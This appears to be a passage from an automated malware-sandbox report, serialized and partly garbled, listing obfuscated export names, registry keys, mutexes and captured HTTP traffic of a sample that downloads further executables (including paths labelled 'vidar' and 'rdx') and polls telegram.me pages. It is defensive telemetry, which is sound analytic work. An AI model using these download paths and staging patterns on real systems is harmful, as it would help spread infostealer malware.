00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")5f:T809,"jC9EsXW_1_.exe" contains export function called "__dbk_fcall_wrapper" at ordinal 2 "jC9EsXW_1_.exe" contains export function called "dbkFCallWrapperAddr" at ordinal 1 "011e5dec2e.exe" contains export function called "__dbk_fcall_wrapper" at ordinal 2 "011e5dec2e.exe" contains export function called "dbkFCallWrapperAddr" at ordinal 1 "_isdecmp.dll" contains export function called "BZ2_bzDecompress" at ordinal 1 "_isdecmp.dll" contains export function called "BZ2_bzDecompressEnd" at ordinal 2 "_isdecmp.dll" contains export function called "BZ2_bzDecompressInit" at ordinal 3 "is-F524M.tmp" contains export function called "ConfigStartMenu" at ordinal 1 "is-F524M.tmp" contains export function called "DheWP8zEKF7ef" at ordinal 2 "is-F524M.tmp" contains export function called "DllCanUnloadNow" at ordinal 3 "is-F524M.tmp" contains export function called "DllGetActivationFactory" at ordinal 4 "is-F524M.tmp" contains export function called "DllGetClassObject" at ordinal 5 "is-F524M.tmp" contains export function called "DllGetVersion" at ordinal 6 "is-F524M.tmp" contains export function called "DllRegisterServer" at ordinal 7 "is-F524M.tmp" contains export function called "GXXXkmlFraMesbTiCi7Ey" at ordinal 8 "is-F524M.tmp" contains export function called "GetProgramsOnline" at ordinal 9 "is-F524M.tmp" contains export function called "H5rjDuKeINbOyQ7GNu" at ordinal 10 "is-F524M.tmp" contains export function called "HbvygzrwkB" at ordinal 11 "is-F524M.tmp" contains export function called "JiWmOUzc7CNL0FkFeK6I2MjubZNvt" at ordinal 12 "is-F524M.tmp" contains export function called "LrlPb0CFGbvcXTnS" at ordinal 13 "is-F524M.tmp" contains export function called "NBrl8GiOu9dKV33SaEhntefBMCtrx" at ordinal 14 "is-F524M.tmp" contains export function called "NewLinkHereW" at ordinal 15 "is-F524M.tmp" contains export function called "PpXAfBgzakSICUUarsEpKx" at ordinal 16 "is-F524M.tmp" contains export function called "QgzTx6Gh02Im" at ordinal 17 "is-F524M.tmp" contains export function called "RBgviiDQGDKU" at ordinal 1860:T564,Found reference to API "SHFileOperationA" (Indicator: "SHFileOperation"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "SHFileOperationA" (Indicator: "SHFileOperation"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "SHFileOperationA" (Indicator: "SHFileOperation"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "RegQueryValueExWSHFileOperationAInternetConnectAHttpOpenRequestAHttpSendRequestAInternetReadFile ]~pu]xscpchP" (Indicator: "SHFileOperation"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "SHFileOperationA" (Indicator: "SHFileOperation"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "RegQueryValueExWSHFileOperationAInternetConnectAHttpOpenRequestAHttpSendRequestAInternetReadFile ]~pu]xscpchP" (Indicator: "SHFileOperation"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "SHFileOperationA" (Indicator: "SHFileOperation"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")61:Ta93,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin "DSystem\CurrentControlSet\Control\Session Manager" in Source: 1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: 1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin "System\CurrentControlSet\Control\Session Manager" in Source: 34566-17-0040256D "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 36590-1101-00F8CE10 "Software\Embarcadero\Locales" in Source: 41129-120-00CBD73C "Software\CodeGear\Locales" in Source: 41129-120-00CBD73C "Software\Borland\Locales" in Source: 41129-120-00CBD73C "Software\Borland\Delphi\Locales" in Source: 41129-120-00CBD73C "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 41129-3655-00D57238 "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00000244.00000000.250409.00FCF000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00000244.00000000.250409.035C0000.00000004.mdmp "stry\Machine\Software\Classes\MIME\Database\Content Type\application/octet-stream" in Source: 00000000-00000244.00000000.250409.035C0000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00003036.00000000.250189.006F2000.00000002.mdmp 00000000-00003036.00000000.250189.06030000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00003424.00000000.250126.00151000.00000020.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003780.00000000.250951.E7A40000.00000004.mdmp "Software\Embarcadero\Locales" in Source: 00000000-00004348.00000000.250872.00CB1000.00000020.mdmp "Software\CodeGear\Locales" in Source: 00000000-00004348.00000000.250872.00CB1000.00000020.mdmp "Software\Borland\Locales" in Source: 00000000-00004348.00000000.250872.00CB1000.00000020.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00004348.00000000.250872.00CB1000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004348.00000000.250872.00CB1000.00000020.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004992.00000000.250516.89340000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004992.00000000.250516.89340000.00000004.mdmp 00000000-00004992.00000001.250692.89340000.00000004.mdmp62:T970,Process windowsservice.exe created mutex with name "\Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d" Process windowsservice.exe created mutex with name "006700e5a2ab05704bbb0c589b88924d" Process windowsservice.exe created mutex with name "Local\SM0:244:168:WilStaging_02" Process windowsservice.exe created mutex with name "Local\SM0:244:64:WilError_01" Process windowsservice.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process windowsservice.exe created mutex with name "SM0:244:64:WilError_01" Process windowsservice.exe created mutex with name "Local\ZonesCacheCounterMutex" Process windowsservice.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:244:168:WilStaging_02" Process windowsservice.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:244:64:WilError_01" Process windowsservice.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process windowsservice.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process windowsservice.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process windowsservice.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:244:64:WilError_01" Process 2O1249.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process 2O1249.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process 2O1249.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4992:304:WilStaging_02" Process 2O1249.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4992:120:WilError_01" Process 2O1249.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process 2O1249.exe created mutex with name "SM0:4992:120:WilError_01" Process 2O1249.exe created mutex with name "Local\SM0:4992:304:WilStaging_02" Process 2O1249.exe created mutex with name "SM0:4992:304:WilStaging_02" Process 2O1249.exe created mutex with name "Local\ZonesCacheCounterMutex" Process 2O1249.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4992:304:WilStaging_02" Process 4f1fcc1044.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3780:304:WilStaging_02" Process 4f1fcc1044.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3780:304:WilStaging_02"63:Te0c,"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "jC9EsXW_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "update_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "011e5dec2e.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "svchost015.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "bEKVmef.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "1e58p2.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "windowsservice.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "QKTi8Lo.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "42058ad017.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "eNLe4nm_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "Wfo8KJM.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "2O1249.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "QWKgBhv.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "Install.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "458cc4f7c3.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "is-F524M.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "011e5dec2e.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "jC9EsXW.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "is-NJ75U.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE64:Te48,"SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00000244.00000000.250409.00FCF000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00000244.00000000.250409.035C0000.00000004.mdmp "stry\Machine\Software\Classes\MIME\Database\Content Type\application/octet-stream" in Source: 00000000-00000244.00000000.250409.035C0000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00003036.00000000.250189.006F2000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00003036.00000000.250189.06030000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00003424.00000000.250126.00151000.00000020.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003780.00000000.250951.E7A40000.00000004.mdmp "Software\Embarcadero\Locales" in Source: 00000000-00004348.00000000.250872.00CB1000.00000020.mdmp "Software\CodeGear\Locales" in Source: 00000000-00004348.00000000.250872.00CB1000.00000020.mdmp "Software\Borland\Locales" in Source: 00000000-00004348.00000000.250872.00CB1000.00000020.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00004348.00000000.250872.00CB1000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004348.00000000.250872.00CB1000.00000020.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004992.00000000.250516.89340000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004992.00000000.250516.89340000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004992.00000001.250692.89340000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007860.00000000.250971.02C80000.00000004.mdmp "Software\Microsoft\RestartManager\Session0000" in Source: 00000000-00007860.00000000.250971.02C80000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00007860.00000001.251132.02C80000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007860.00000001.251132.02C80000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00007860.00000001.251132.02C80000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" in Source: 00000000-00007860.00000001.251132.02C80000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00007860.00000001.251132.02C80000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\" in Source: 00000000-00007860.00000001.251132.02C80000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00007860.00000001.251132.02C80000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00007860.00000001.251132.02C80000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4" in Source: 00000000-00007860.00000001.251132.02C80000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007860.00000001.251132.02C80000.00000004.mdmp65:T991,Found string "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" (Indicator: "mozilla/5.0 ("; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "Host: %sCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: %s" (Indicator: "user-agent: "; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp, 00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found string "User-Agent: %s" (Indicator: "user-agent: "; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found string "User-AgentMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found string "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.8B0E0000.00000004.mdmp") Found string "User-Agent: %s" (Indicator: "user-agent: "; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "User-AgentMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0GET /ho00rq HTTP/1.1" (Indicator: "mozilla/5.0 ("; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp") Found string "User-AgentMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" (Indicator: "user-agent: "; Source: "00000000-00004992.00000001.250692.89340000.00000004.mdmp")66:T331e,"GET /files/7782139129/jC9EsXW.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:38:16 GMT Content-Type: application/octet-stream Content-Length: 3506762 Last-Modified: Sun 01 Feb 2026 00:48:29 GMT Connection: keep-alive ETag: "697ea2dd-35824a" Accept-Ranges: bytes with response body ==>4D5A50000200000004000F00C3BFC3BF0000C2B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 01:38:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12300 Connection: keep-alive Set-Cookie: stel_ssid=84c8e08a82e703a807_7925390651455494453; expires=Mon 02 Feb 2026 01:38:21 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /files/rdx/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:38:21 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Sun 01 Feb 2026 00:59:01 GMT Connection: keep-alive ETag: "697ea555-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 Host: uyu.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 01:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=3 cfOrigin;dur=430 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=cKnO1wPjrjFjASi9iZ5syUs8vTL2ZseDdA97Z499fMp7hM%2F8wZQDmaXDSCe3dEUZ34rq7jxw%2F1aSRdCkQ5a620ZOH7hGSBzZLlscwY0pi1XHQ44%3D"}]} CF-RAY: 9c6dba93edcb7e0e-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /test/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:38:26 GMT Content-Type: application/octet-stream Content-Length: 20000 Last-Modified: Wed 19 Nov 2025 00:53:00 GMT Connection: keep-alive ETag: "691d14ec-4e20" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /vidar/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:38:28 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Sun 01 Feb 2026 00:58:47 GMT Connection: keep-alive ETag: "697ea547-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=84c8e08a82e703a807_7925390651455494453" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 01:38:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12300 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: uyu.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 01:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=5 cfOrigin;dur=428 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=uGJhnGS2aLQCoKYezuxEiUUUU452n5OpLr6y9mou8XtbXNOwMlf70hZCr6uh2u978yakv2FYNvkCc%2Bv3QW6xZr4oO0b4fpXl3fnuRnPYNbUdaaU%3D"}]} CF-RAY: 9c6dbac76edb1986-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B....... "GET /files/6608710704/QWKgBhv.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:39:20 GMT Content-Type: application/octet-stream Content-Length: 172032 Last-Modified: Sat 24 Jan 2026 06:29:33 GMT Connection: keep-alive ETag: "697466cd-2a000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/8434554557/QKTi8Lo.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:39:22 GMT Content-Type: application/octet-stream Content-Length: 289792 Last-Modified: Thu 22 Jan 2026 08:56:14 GMT Connection: keep-alive ETag: "6971e62e-46c00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/mrx/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:39:25 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Sun 01 Feb 2026 01:38:06 GMT Connection: keep-alive ETag: "697eae7e-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/8451971749/Wfo8KJM.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:39:27 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Thu 29 Jan 2026 21:34:58 GMT Connection: keep-alive ETag: "697bd282-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=84c8e08a82e703a807_7925390651455494453" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 01:39:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12294 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /files/7453936223/5GFpJxh.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:39:43 GMT Content-Type: application/octet-stream Content-Length: 172032 Last-Modified: Fri 23 Jan 2026 22:01:46 GMT Connection: keep-alive ETag: "6973efca-2a000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=84c8e08a82e703a807_7925390651455494453" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 01:39:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12295 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /files/6691015685/bEKVmef.exe HTTP/1.1" Response ==> HTTP/1.1 200 